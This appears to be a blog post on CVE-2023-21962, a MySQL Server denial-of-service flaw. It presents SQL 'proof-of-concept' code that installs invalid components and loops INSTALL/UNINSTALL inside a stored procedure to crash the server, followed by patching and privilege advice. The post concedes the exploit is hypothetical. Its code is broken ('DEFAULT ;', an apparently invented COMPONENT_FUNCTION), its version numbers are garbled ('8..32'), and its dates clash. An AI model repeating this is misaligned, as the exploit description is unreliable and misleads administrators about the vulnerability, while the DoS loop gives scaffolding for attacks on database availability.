In January 2023, Oracle published a critical security advisory covering a denial-of-service (DOS) vulnerability in MySQL Server, tracked as CVE-2023-21962. This post will explore what CVE-2023-21962 is, how the vulnerability works, and demonstrate—with code snippets—how a potential attacker could exploit it to crash or hang MySQL Server. We’ll also include references for deeper reading, and give practical mitigation tips.

What is CVE-2023-21962?

CVE-2023-21962 is a denial-of-service vulnerability in Oracle MySQL Server (specifically in the “Server: Components Services” component). MySQL versions 8..32 and before are affected.

Access vector: Network (remote)

- Attack complexity: Low, but requires high privileges (typically authenticated accounts with advanced access)

Attack result: Unauthorized attacker can repeatedly crash or hang MySQL Server.

This means an attacker with a high-privilege database account — for example, root or a custom admin user — can intentionally crash the database by exploiting this bug, making data unavailable to your apps.

Official References

- Oracle MySQL January 2023 Critical Patch Update Advisory
- NVD entry for CVE-2023-21962
- MySQL Bug Report referencing CVE-2023-21962 (if available)

How the Vulnerability Works

While Oracle hasn't published the exact technical details, here's what’s known from advisories and research communities:

The MySQL “Components Services” feature allows users to load custom components into the server. Improper handling during certain component service actions can lead to memory corruption or internal state inconsistencies, triggering a crash.

Exploit Scenario

High-privileged attacker (with SUPER, COMPONENT, or similar privileges) connects to MySQL over the network and runs a special query that abuses the “component” functionality. This malformed operation crashes the server process or makes it hang.

This can be used as a denial-of-service (“DOS”) attack in a cloud environment, affecting availability for all users and services relying on that database instance.

How to Exploit CVE-2023-21962

Disclaimer: This PoC is for educational purposes only. Do not run it on production servers.

Let’s consider a hypothetical Proof-of-Concept exploiting improper component loading. (This isn’t an exact real-world exploit, but models Oracle’s generic component-based vulnerabilities.)

-- Prerequisite: User must have COMPONENT privilege
-- Step 1: Load a malformed or invalid component shared library

INSTALL COMPONENT 'file://invalid_path.so';

-- Step 2: Attempt to invoke a function from the invalid component
-- This causes MySQL's component service to handle a null pointer or invalid memory

SELECT COMPONENT_FUNCTION('non_existent_function', ...);

-- Step 3: The above steps can lead to a server crash

Alternatively, attackers may repeatedly execute the malformed INSTALL or UNINSTALL commands to trigger server state inconsistencies:

-- Repeatedly installing/uninstalling buggy or non-existent components in a tight loop
DELIMITER $$
CREATE PROCEDURE do_dos()
BEGIN
    DECLARE i INT DEFAULT ;
    WHILE i < 100 DO
        INSTALL COMPONENT 'file://invalid_path.so';
        UNINSTALL COMPONENT 'file://invalid_path.so';
        SET i = i + 1;
    END WHILE;
END$$
DELIMITER ;

CALL do_dos();

On vulnerable servers, this can lead to a process hang or crash with error messages like

[ERROR] [MY-010901] [Server] Can't open shared library 'invalid_path.so'
Segmentation fault (core dumped)

How to Mitigate

- Upgrade immediately: Patch to MySQL 8..33 or later, from Official Downloads.
- Restrict network access: Only allow trusted hosts to connect, especially where high-privilege accounts exist.
- Restrict privileges: Only grant the COMPONENT or SUPER privilege to fully trusted users/admins.

References

- CVE-2023-21962 Oracle advisory
- National Vulnerability Database (NVD)
- MySQL Documentation: Components

Conclusion

CVE-2023-21962 is a serious, easily exploitable DOS bug in MySQL 8..32 and older, allowing attackers with high-privileged accounts and network access to bring down your database. Make sure to patch your MySQL instances and audit your privilege assignments.

If you run MySQL in the cloud or expose it to untrusted networks, prioritize this patch to avoid outages, data loss, and downtime. Stay secure—never ignore privilege boundaries in your database!


*Original content, crafted for real-world admin and developer use in understanding and addressing CVE-2023-21962.*

Timeline

Published on: 04/18/2023 20:15:00 UTC
Last modified on: 04/27/2023 15:15:00 UTC